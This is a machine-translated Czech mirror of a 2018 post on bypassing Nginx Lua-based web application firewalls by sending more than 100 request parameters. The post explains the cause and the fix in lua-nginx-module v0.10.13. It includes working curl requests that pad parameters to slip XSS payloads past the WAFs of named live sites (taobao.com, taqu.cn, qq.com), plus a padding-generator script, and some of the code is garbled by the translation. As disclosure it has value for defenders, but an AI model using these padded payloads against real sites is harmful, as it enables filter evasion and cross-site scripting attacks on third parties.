Tento článek je zrcadlovým článkem o strojovém překladu, klikněte zde pro přechod na původní článek.

Pohled: 16994|Odpověď: 1

[Bezpečnostní zranitelnost] Zranitelnost firewallu WAF aplikací Nginx Lua

[Kopírovat odkaz]
Zveřejněno 27.04.2018 9:23:29 | | | |
Když ginx Lua získá parametry, prvních 100 hodnot parametrů se získá ve výchozím nastavení a zbytek se zavrhne.
Proto budou WAFy používající Nginx Lua ve výchozím nastavení obcházet.
Dne 20. dubna 18 už někdo z bezpečnostní pasažérky tuto informaci prozradil, takže jsem také zveřejnil tento článek 233.



Princip

Oficiální popis je následující

Všimněte si, že maximálně 100 argumentů požadavku je ve výchozím nastavení (včetně těch se stejným názvem) a že další argumenty požadavku jsou tiše zahazovány, aby se zabránilo potenciálnímu Útoky typu denial of service.

Ve výchozím nastavení lze parsovat až 100 parametrů požadavků (včetně těch se stejným názvům) a další parametry požadavků jsou automaticky vyřazeny, aby se zabránilo možným útokům typu denial-of-service.

Vyhledejte 100, přibližně následující metoda má stejný problém.
ngx.req.get_uri_args Získejte parametry požadavku pro get
ngx.req.get_post_args Získejte parametry požadavku pro příspěvek
ngx.req.get_headers Získejte záhlaví požadavku
ngx.decode_args Dekódovat URL parametrů
ngx.resp.get_headers Získejte záhlaví odpovědi
Ve zdrojovém kódu modulu lua-nginx vidíme, že zdrojový kód nastavuje výchozí maximální parametr požadavku a hlavičku na 100




#ifndef NGX_HTTP_LUA_MAX_HEADERS
#define NGX_HTTP_LUA_MAX_HEADERS 100
#endif

Oficiální uživatel však poskytuje metodu pro úpravu výchozí hodnoty, například ngx.req.get_uri_args (200), aby se získalo prvních 200 parametrů požadavků.

Test

Pokud je parametr požadavku 101, nelze získat poslední parametr požadavku.

curl -v 'http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg'

Pokud snížíte jeden parametr požadavku, můžete získat poslední parametr požadavku, když jsou parametry požadavku přesně 100.

a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62
Odpověď: ZBG
Mám tě, zbg

Všimněte si, že výchozí hodnota je skutečně 100 parametrů požadavku a parametry požadavku po 100 parametrech požadavků budou zamítnuty.

Je zvláštní věc, že v návratovém obsahu výše, uprostřed hrubé pozice, je už výstup konečného parametru zbg. Můj odhad je, že výstup není v pořadí, ale pořadí parsování odpovídá pořadí, v jakém jsou parametry zadávány, protože když je hodnota 101. parametru zbg, nelze ji získat.

Přiložený je python skript, který generuje parametry:

# Autor: ZBG
# pošta:zbg@zbg.org
# Datum: 2018-04-03

a = ''
Pro i v dosahu (200):
    a = a + 'a{0}={1}&'.format(i+1, i+1)
tisk a
opravit
Samozřejmě se nedoporučuje měnit hodnotu MAX parametru ve zdrojovém kódu. Protože bez ohledu na to, jak velkou hodnotu nastavíte, lze ji obejít. Doporučuje se nastavit ji pomocí parametrů metody.
Pokud dokážete zjistit délku parametru požadavku a použít metodu jako ngx.req.get_uri_args (lenth), nestačilo by to?
Při čtení dokumentace jsem zjistil, že počet požadovaných parametrů nelze zjistit. Pokud však nastavíte lenth na 0, můžete získat všechny požadované parametry.

Tento argument lze nastavit na nulu, aby se odstranil limit a zpracoval se všechny přijaté požadavkové argumenty.
Local ARGs = ngx.req.get_uri_args(0)

Je však důrazně nedoporučováno nastavit ji na 0, aby se zabránilo možným útokům typu denial-of-service.

Odstranění max_args víčka je důrazně nedoporučováno.

Vlastně jsem se divil, proč by nastavení 0 vedlo k potenciálnímu útoku na odmítnutí služby, a požadavek by stejně šel na nginx, bez ohledu na to, kolik parametrů bylo v get nebo post.

Upozornil jsem na oficiální vyšetření a autor řekl, že ngx.req.get_uri_args (0) zvýší využití CPU a paměti serveru. Později jsem otestoval 200 parametrů a použil Nginx+php k získání 200. parametru, což znamená, že Nginx ve výchozím nastavení neomezuje počet požadovaných parametrů. Pak může být problém přímo v Nginx Lua,Když Nginx Lua používá ngx.req.get_uri_args(0) k získání všech parametrů a prochází jimi a prochází jimi po velkém počtu požadavků, spotřebuje více CPU a paměti a nakonec dokonce vede k odmítnutí služby

Dne 3. 4. 2018 oficiálně Bypass007 nahlásil PROBLÉM ohledně této opravy chyby a konečně oficiálně přidal novou funkci založenou na tomto PROBLÉMU dne 21. 4. 2018. Adresa záznamu commitu této funkce: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd

Popis funkce je následující: Ve verzích po v0.10.13 (včetně v0.10.13), když je překročen limit počtu požadavků, je druhou vrácenou hodnotou zkrácený řetězec.
Od verze v0.10.13, když je limit překročen, vrátí druhou hodnotu, což je řetězec "zkrácený".
Nicméně volitelný argument max_args funkce lze použít k přepsání tohoto limitu:
Lokální ARG, err = ngx.req.get_uri_args(10)
pokud err == "zkráceno" pak
     -- zde lze aktuální žádost ignorovat nebo odmítnout
konec

Takže vyšla konečná oprava.

Upgradovat lua-nginx-module na verzi v0.10.13 nebo novější

Pak omezte celkový počet parametrů, a co se týče omezení celkového počtu, osobně si myslím, že 100 stačí

OpenResty aktualizuje modul lua-nginx-module

Nenašel jsem žádné informace o modulu pro upgrade OpenResty, takže jsem přišel na to, jak modul lua-nginx-module upgradovat sám.

Kroky jsou následující:

Stáhněte si odpovídající verzi modulu lua-nginx-module
Wget https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13
rozbalit
tar -zxvf v0.10.13
Smazat předchozí verzi lua-nginx-modulu
rm -RF OpenResty-1.9.15.1/bundle/ngx_lua-0.10.5
Zkopírujte nový lua-nginx-modul
mv lua-nginx-module-0.10.13 openresty-1.9.15.1/bundle/ngx_lua-0.10.13
Pro kompilaci se podívejte na kompilační parametry VeryNginx


Případové obcházení

Je třeba upřesnit, že u následujících WAFů si nejsem jistý, zda použít Nginx Lua, ale lze je obejít celkovým počtem parametrů.

Ali WAF

Tento WAF je WAF používaný interně Alibabou, tedy WAF používaný doménovými jmény jako *.taobao.com, a nebyl testován pro cloudový WAF prodávaný Alibaba Cloud.
Nejprve požádejte o POST XSS Payload, aby jej zachytil.
curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
Díky Fuzz bylo zjištěno, že když se počet parametrů zvýší na 478 pomocí XSS Payload, již není zachycován a webová stránka je přístupná normálně.
curl -v -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171=171& a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a189=189&a190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=203&a204=204&a205=205&a206=206&a207=207&a208=208& a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=221&a222=222&a223=223&a224=224&a225=225&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a314=314&a314=315&a316=316&a317=317&a318=318&a319=319& a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=331&a332=332&a334=334&a335=335&a336=336&a337=337&a338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355&a356=356& a357=357&a358=358&a359=359&a360=360&a361=361&a362=362&a363=363&a364=364&a365=365&a366=366&a367=367&a368=368&a369=369&a370=370&a371=371&a372=372&a373=373&a374=374&a375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=442&a443=443&a444=445&a446=446&a447=447&a448=448&a449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455&a456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465&a466=466&a467=467& a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a=<img src=x onerror=alert(/xss/)>' lu.taobao.com

UCloud

Testovaný WAF je WAF prodávaný společností UCloud.
Když je parametr požadavku zvýšen na 138, už nebude blokován a webová stránka bude přístupná normálně.
curl -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a=alert(1234)' taqu.cn

Tencent WAF

Tento WAF je WAF používaný Tencentem interně, tedy WAF používaný doménovými jmény jako *.qq.com, a nebyl testován pro cloudový WAF prodávaný Tencent Cloud.
Když parametr požadavku vzroste na 4000, už nebude blokován a webová stránka bude přístupná normálně. Náhodné testy následujících domén jsou ovlivněny.
web.qq.com
ke.qq.com
auto.qq.com
news.qq.com
sports.qq.com
time.qq.com

shrnutí

Tato otázka je velmi jednoduchá a najdete ji při pečlivém čtení dokumentu. Ale proč jsem to nezjistil? Myslím, že je to pořád příliš málo přemýšlení.
Reference
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd





Předchozí:Nauč se Photoshop od nuly, 18 lekcí od začátečníka po boha
Další:Silné a slabé stránky Lua a Luajita
Zřeknutí se:
Veškerý software, programovací materiály nebo články publikované organizací Code Farmer Network slouží pouze k učení a výzkumu; Výše uvedený obsah nesmí být používán pro komerční ani nelegální účely, jinak nesou všechny důsledky uživatelé. Informace na tomto webu pocházejí z internetu a spory o autorská práva s tímto webem nesouvisí. Musíte výše uvedený obsah ze svého počítače zcela smazat do 24 hodin od stažení. Pokud se vám program líbí, podporujte prosím originální software, kupte si registraci a získejte lepší skutečné služby. Pokud dojde k jakémukoli porušení, kontaktujte nás prosím e-mailem.

Mail To:help@itsvse.com